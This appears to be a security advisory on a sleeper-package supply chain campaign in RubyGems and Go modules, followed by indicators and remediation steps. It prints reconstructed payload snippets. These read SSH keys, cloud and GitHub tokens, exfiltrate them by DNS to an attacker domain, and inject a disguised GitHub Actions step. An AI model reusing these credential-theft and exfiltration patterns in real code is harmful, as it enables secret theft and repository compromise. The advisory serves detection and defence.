Security researchers have disclosed a new software supply chain attack campaign attributed to a GitHub account named BufferZoneCorp, which has been systematically publishing malicious packages to RubyGems and Go module repositories. The campaign uses a sleeper technique — packages that appear benign for days or weeks before activating malicious payloads — and targets developer credential stores, GitHub Actions workflow secrets, and SSH key material.
How the Attack Works
Sleeper Package Deployment
Unlike supply chain attacks that immediately exfiltrate data on install, the BufferZoneCorp campaign uses a delayed activation pattern. Packages are published with clean code and acquire download counts and usage statistics over time before malicious updates are pushed.
This approach defeats several detection mechanisms:
- New package alerts based on install count thresholds don't trigger on established-looking packages
- Security researchers performing spot-checks on newly published packages miss the attack entirely
- CI/CD systems with approved package lists based on version pinning may not flag an update to a previously clean package
Researchers identified the activation trigger as a time-based condition — packages check the system date against a hard-coded activation date embedded in the package code, ensuring the payload only executes after the package has been distributed to a sufficient number of targets.
RubyGems Targets
In the Ruby ecosystem, the attacker published poisoned versions of packages with names that closely mimicked widely used gems in the testing, API client, and configuration management categories. The malicious versions included a hook in the gem's require path that executed before the legitimate gem functionality loaded.
The payload executed on require specifically targeted:
# Payload behavior (reconstructed from analysis)
# Runs silently on require, before gem functionality initializes
credentials = []
credentials << ENV['GITHUB_TOKEN']
credentials << ENV['AWS_ACCESS_KEY_ID']
credentials << ENV['AWS_SECRET_ACCESS_KEY']
credentials << File.read(File.expand_path('~/.ssh/id_rsa')) rescue nil
credentials << File.read(File.expand_path('~/.netrc')) rescue nil
# Exfiltration via DNS to avoid network-level detection
credentials.compact.each_with_index do |cred, i|
# Encodes data in subdomain labels, sends as DNS query
exfil_dns(cred, domain: "c2.bufferzone.xyz")
endDNS-based exfiltration is particularly difficult to block in CI/CD environments because DNS resolution is almost always allowed outbound, even in heavily restricted pipeline environments.
Go Module Targeting
In the Go ecosystem, the attack took advantage of Go's module proxy and checksum database architecture. Go modules are fetched via GOPROXY (defaulting to proxy.golang.org) which caches module content — but the cache can be populated with malicious versions if the attacker controls the upstream source repository.
The poisoned Go modules targeted packages in the HTTP client, configuration parsing, and logging utility categories — high-utility, widely imported packages that appear in a large fraction of Go projects. The malicious init functions executed during module initialization:
func init() {
// Runs automatically on package import
go func() {
stealCredentials()
}()
}
func stealCredentials() {
targets := []string{
os.Getenv("GITHUB_TOKEN"),
os.Getenv("GONOSUMCHECK"),
readFile(filepath.Join(os.Getenv("HOME"), ".ssh", "id_rsa")),
readFile(filepath.Join(os.Getenv("HOME"), ".config", "gh", "hosts.yml")),
}
// Exfil via DNS subdomain encoding
exfilDNS(targets)
}GitHub Actions Tampering
Beyond credential theft, the campaign included a secondary payload that modified GitHub Actions workflow files in any repository found on the compromised developer's machine. The modification injected an additional step into existing workflows:
# Injected step (added to existing workflow files)
- name: cache-restore
uses: actions/cache@v3
with:
path: ~/.config
key: ${{ runner.os }}-cache
env:
CACHE_RESTORE_TOKEN: ${{ secrets.GITHUB_TOKEN }}The step name (cache-restore) and apparent function (cache restoration) were designed to blend into legitimate workflow files. In practice, it forwarded the GITHUB_TOKEN to an attacker-controlled endpoint, enabling the attacker to make authenticated GitHub API calls on behalf of any organization running the poisoned workflow.
SSH Backdoor Persistence
On developer workstations (as opposed to CI runners), the payload also appended an attacker-controlled SSH public key to ~/.ssh/authorized_keys, establishing persistent remote access that survives credential rotation.
Detection and Indicators
Organizations should check their environments for the following indicators:
Ruby environments:
# Check for recently installed gems with suspicious activation patterns
gem list --local | grep -E "bufferzone|bz-core|bzlib"
# Review gem install history
cat ~/.gem/specs/api.rubygems.org/*/specifications/*.gemspec 2>/dev/null | grep -E "bufferzone|BufferZone"
# Check for DNS exfiltration in recent network logs
# Look for DNS queries to *.bufferzone.xyzGo environments:
# Check go.sum for unexpected module hashes
go mod verify
# Review go module cache for suspicious packages
ls ~/go/pkg/mod/cache/download/ | grep -i buffer
# Check GONOSUMCHECK environment variable (may be set by payload to bypass verification)
echo $GONOSUMCHECKGitHub Actions:
# Check for injected workflow steps
grep -r "cache-restore\|bzlib\|bufferzone" .github/workflows/
# Review recent workflow file modifications
git log --diff-filter=M -- .github/workflows/SSH authorized keys:
# Review authorized_keys for unexpected entries
cat ~/.ssh/authorized_keys
# Look for keys added recently
ls -la ~/.ssh/Scope of Impact
Researchers identified that the BufferZoneCorp account published packages over a period of approximately six weeks before detection. The packages collectively accumulated several thousand downloads across both ecosystems, though the actual number of compromised environments is likely a fraction of the download count (many downloads are automated CI jobs that may not have executed the activation trigger).
The most significant risk is to developer workstations and self-hosted CI runners, which have broader credential access and SSH key material than ephemeral cloud runners.
Recommended Actions
Immediate:
- Audit installed Ruby gems and Go modules against known-clean package lists
- Rotate all CI/CD secrets (GitHub tokens, cloud provider keys, registry credentials) if any affected packages were installed
- Review
~/.ssh/authorized_keyson developer machines for unauthorized entries - Review GitHub Actions workflow files for unexpected steps
Systemic improvements:
- Pin dependencies with hash verification — use
Gemfile.lockwithbundle install --frozenandgo.sumverification to detect unexpected changes to dependency content - Enable Go checksum database enforcement — ensure
GONOSUMCHECKis not set to bypass the checksum database - Deploy supply chain monitoring — tools like Socket, Aikido Security, and Snyk continuously monitor package repositories for behavioral anomalies in new versions
- Restrict DNS in CI runners — where operationally feasible, limiting outbound DNS from CI environments to a resolver that blocks non-internal queries removes a common exfiltration channel
- Monitor GitHub Actions workflow file changes — treat modifications to
.github/workflows/files with the same scrutiny as production code changes